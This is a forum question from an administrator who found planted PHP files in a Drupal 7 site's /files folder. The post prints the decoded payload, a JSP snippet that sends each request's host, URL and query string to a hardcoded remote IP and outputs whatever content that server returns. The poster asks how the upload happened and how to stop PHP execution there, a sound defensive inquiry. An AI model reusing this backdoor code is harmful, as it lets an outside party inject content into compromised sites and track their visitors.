I was debugging a drupal 7 site and noticed that the /files folder contained a bunch of .php files with the following code:
It looks like the code is encrypting and gzipping the file that it wants to run with eval(). I was able to output the code and it does the following:
[root@www01 files]# php uuhgjk.jsp <%@ page language="java" import="java.util.*" pageEncoding="GB2312"%> <%@page import="com.http.web.*" %> <% String Remote_server="http://126.96.36.199/"; String host_name="http://" + request.getRemoteAddr() + request.getRequestURI(); String Remote_file = Remote_server + "/index.php?host=" + host_name + "&url=" + request.getQueryString() + "&domain="+request.getServerName(); String Content_mb = myHttpClient.getHttpget(Remote_file); out.println(Content_mb); %>
My question is how did someone upload something to this /files folder? Is there a way to prevent php files from executing from this folder?